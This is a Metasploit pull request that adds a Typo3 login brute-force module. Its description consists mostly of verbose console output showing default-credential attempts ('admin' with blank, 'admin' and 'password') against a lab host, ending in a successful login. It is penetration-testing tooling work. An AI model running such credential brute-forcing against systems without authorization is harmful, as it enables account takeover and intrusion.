rapid7/metasploit-framework — pull request #2617 by FireFart (2013-11-07 21:56:22+00:00)
Title: Typo3 Bruteforcer

This PR adds the typo3 login method and a sample bruteforce script. This should be the initial work for other typo3 exploits.

Output with VERBOSE=true:
```
msf auxiliary(typo3_bruteforce) > run

[*] Trying to bruteforce logins on 192.168.18.135
[*] 192.168.18.135:80 - [1/3] - Trying username:'admin' password: ''
[*] e: 10001
[*] n: E7DE2602D917B46DA0EAE022A220D25228281FF9EDB7C554099AA5DF7FA9944ACB235A689F36ED30D295C7407375AE60D886E71502BCE18517A1269D43C8EBC296E3C25F1A828A4D12D1FDCA16A1C4F5A536A19374654DB7BEC53C690AD44A3DE405E5164A55A77E29C278EE60BE14BEFFC37594BE1A2FAB09C4A57DF69E7DBF55791EE819FDF2D34640CEE5A369EA00D912E93C892DC0B56C15D50C9594B20C6EE683C33BE19B530B721577C331AA3F9EB60A671E2AAB4257FD71E7E60F8F1865005108D27A7B299AB41570009F04F70CCBA2CFEFACFA9C3CCA2580AA50C102C5E807A5EB48022C858DA0D24C1F3EB24A0D3934696B7CE6DB1160708627110D
[*] RSA Hash: rsa:E0CBw9Z7BOSRy3R2NGWlkKCU0eoMoQcxF4PDKhNNfF8HKT7Z3o/zFQwUNvz++qkNvMth6z7isanfrXZGO1VruR86cif17Fxug1VxsLCbZBd2RSgvhq8MiLRJvP2qo+IhdAbV8ZRP+FzfbVy1AEvCj8flzGEQoWSX1763C5MwmC3CZ6324zDTWY06mlaev87/D2j+JgECIQzSjG1+EjL62y3oW1sEAdxxyVSnoaLodIfSptEto8QOYMZvzbAvKQTMawLLXqLqUIPSYNxTuz45sT4GHavxMYIBhYmKASxxkLnWt49+nrqSDJTJor944lYFiiFek0erkqWqvvdu8QEpRQ==
[-] Your login attempt did not succeed
Make sure to spell your username and password correctly, including upper/lowercase characters.
[-] 192.168.18.135:80 - [1/3] - failed to login as 'admin' password: ''
[*] 192.168.18.135:80 - [2/3] - Trying username:'admin' password: 'admin'
[*] e: 10001
[*] n: B7961E32E7C23DEE4833D19203528358206054A346E1F7C75D035ED3214C783875D7B21A8512A7D1DBF94CE8210B3D1AC73F806DA471B656646EAF28081B467AF9ACCFF5F36826035660B169A3CF7C43BD3D0D56D95E507EF5F70E7AA4B0590E8EFB1FBC94ECBCC102DEA052310ACB2CC81C245ABB2E079CB0DAC16B9383AA897EACE503EC4889E452EE5C1A4A4B4FA8D79DE417FB8FDA22F32E0E89815581397D6F11EF6E9FDBAF6754A37F48D7D73B4E1A426A4B6D9720C1FE8760A4D27383BFBC63FA7D336D16CDF50A78BD50F523EAC8C4D9DBE1661E6E85DCFE0511168C26B14EE7515C42DFEA03677EAAED227A8567753BC596F4DE6E5BA9A20ADABF95
[*] RSA Hash: rsa:ZQqnBbU8NPAQbh78zFhFAE5FvH28pPG7YrIlyEekIp1PsBAAixArTQu3FkgFJpUChzbRkcOJswrzowr2HaGifGJvzWMYge/eFXLrfWD3gXBwXY9i22t/JPQze+t+RMrjYLNO0a/Ywp+34Ih3vsiqSWfTTYnkYqxjqrvP3IcG9qXF7ivZCDM/GKFJ1L1Ox3ZkNlJWAuPcKsHqaVSXMO3CJV5DAPnTKPheF9WDCSYmvy28JGdc4Ehdwl9eEAaTaxDzAGzMoC3AUTS+lK5aE4AmA1BKAp5K/Smcg33Nsto6RtNzaPrzxlSUFH3HcH8rEQXcpUpJDmoXUjnPiiIW98Fsng==
[-] Your login attempt did not succeed
Make sure to spell your username and password correctly, including upper/lowercase characters.
[-] 192.168.18.135:80 - [2/3] - failed to login as 'admin' password: 'admin'
[*] 192.168.18.135:80 - [3/3] - Trying username:'admin' password: 'password'
[*] e: 10001
[*] n: B46984C41914BD0657D6172AA05CCC9C910D2C763CAA7E4B031CDE8C00DAFE5B1880276B2B741931A4A9F91895456F303F1A8093B436D753F55D455D7046ACBA06EB2D1CC939C3E66ECECC27810B6E32ABB23B5468274B915124EDEE736CD75DA77DE52A89ACED56A9EF053E8E605BD4FC05D3E917A82D26D75C454A32CA05EBAD9DABCB453806B035A3C942B317429158B19CEB4B9F9E704D04EE40EE7FB8DA34BEB8AC715F991959FCC326A044FABEA5C52AC5853104071A5BD64A7E618E3EB55B7496C83061A4CF66871E696A8F92FEA0E6AC735B16D880D426F5A4B87D5F3EC8291E27E9166207B8C4ADE6366059E7BE6400C79D3E8AB831DC2F1C9F96F3
[*] RSA Hash: rsa:I4t7bkvh98m7guv6AqW70gggziTUFlS3xBI4V3tOVNpzmUp0V2Fq9Zr+t4ZJlVIaUTeIpuDW6nVLh06g25SdW+EZqkHoFCYS2FKEh4nzHez0VgFYoclnxt3CSbAG2zZtVjlk/GLhPDPXYBhf2QI0S6UbYXVbeoA1iZZP3MFFKSoecyl0HoQdkFUep0v+Ehfgx7sh6u5Y9FFv5RhuXFQlt1dFMVMvEp4DRQABy32wcOjYfp9TKM9vGoODEX50hIGquQ7mhO3N5Aq6UN8wnw5Mvs9GhTgEnbWFr6nEQZdQNZhSxPKxJPjWGESiwNqR69pEqYZJVS7+Orjfyu/Gn27NZQ==
[+] 192.168.18.135:80 - Successful login 'admin' password: 'password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```